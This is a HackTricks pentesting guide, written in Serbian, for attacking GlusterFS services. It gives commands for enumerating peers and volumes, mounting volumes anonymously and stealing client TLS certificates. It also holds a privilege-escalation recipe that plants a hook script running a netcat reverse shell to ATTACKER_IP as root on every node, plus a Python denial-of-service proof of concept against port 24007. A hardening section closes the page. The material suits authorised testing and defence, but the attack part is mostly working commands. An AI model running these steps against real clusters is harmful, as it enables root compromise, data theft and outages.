24007-24008-24009-49152 - Pentesting GlusterFS
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
GlusterFS je distribuisani fajl sistem koji kombinuje skladište sa više servera u jedan ujedinjeni naziv prostora. Daemon za upravljanje (glusterd
) po defaultu sluša na 24007/TCP i daje instrukcije brick-ovima na podacima koji počinju na 49152/TCP (jedan port po brick-u, sa povećanjem). Verzije pre 9.x koristile su 24008–24009/TCP za transport brick-ova, tako da ćete i dalje naići na te portove u nasleđenim klasterima.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Savet: 24007 odgovara na RPC pozive čak i kada čvorovi koji se koriste samo za skladištenje ne izvoze nijedan volumen; stoga je usluga pouzdana meta za preusmeravanje unutar velikih infrastruktura.
Enumeracija
Instalirajte klijentske alate na vašem napadačkom računaru:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Otkriće i zdravlje peer-a
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Reconnaissance volumena
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Montiranje bez privilegija
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Ako montiranje ne uspe, proverite /var/log/glusterfs/<vol_name>-<uid>.log
na klijentskoj strani. Uobičajeni problemi su:
- TLS primena (
option transport.socket.ssl on
) - Kontrola pristupa zasnovana na adresi (
option auth.allow <cidr>
)
Rešavanje problema sa sertifikatima
Ukrao sledeće datoteke sa bilo kojeg autorizovanog klijentskog čvora i stavite ih u /etc/ssl/
(ili direktorijum prikazan u logu greške):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Poznate ranjivosti (2022-2025)
CVE | Pogođene verzije | Uticaj | Napomene |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Use-after-free u dht_setxattr_mds_cbk dostupan preko mreže | Daljinski DoS i verovatni RCE. Ispravljeno u 10.4.1 / 11.1. |
CVE-2023-26253 | < 11.0 | Čitanje van granica u FUSE notifikacionom handleru | Daljski pad sistema putem kreiranih FS operacija; javno dostupna PoC. |
CVE-2023-3775 | < 10.5 / 11.1 | Neispravna validacija dozvola prilikom montiranja gluster_shared_storage | Omogućava bilo kojem neautentifikovanom klijentu da montira admin volumen – dovodi do priv-esc objašnjenog u nastavku. |
Uvek proveravajte
gluster --version
na svakoj čvoru; heterogene klastere su česte nakon delimičnih nadogradnji.
Eksploatacija gluster_shared_storage
(Escalacija privilegija)
Čak i u novijim verzijama mnogi administratori ostavljaju poseban gluster_shared_storage
volumen čitljiv za sve jer to pojednostavljuje geo-replikaciju. Volumen sadrži šablone cronjob-a koji se izvršavaju sa root na svakom čvoru.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Ako hooks/1/
nije prisutan, potražite /ss_bricks/
– tačna putanja može varirati sa glavnom verzijom.
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Pokretanje skripte ruši glusterfsd
< 11.0.
Ojačavanje i Detekcija
- Ažurirajte – trenutni LTS je 11.1 (jul 2025). Svi CVE-ovi iznad su ispravljeni.
- Omogućite TLS za svaki brick:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Ograničite klijente sa CIDR listama:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Izložite upravljački port 24007 samo na privatnom VLAN-u ili kroz SSH tuneli.
- Pratite logove:
tail -f /var/log/glusterfs/glusterd.log
i konfigurišite audit-log funkciju (volume set <vol> features.audit-log on
).
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.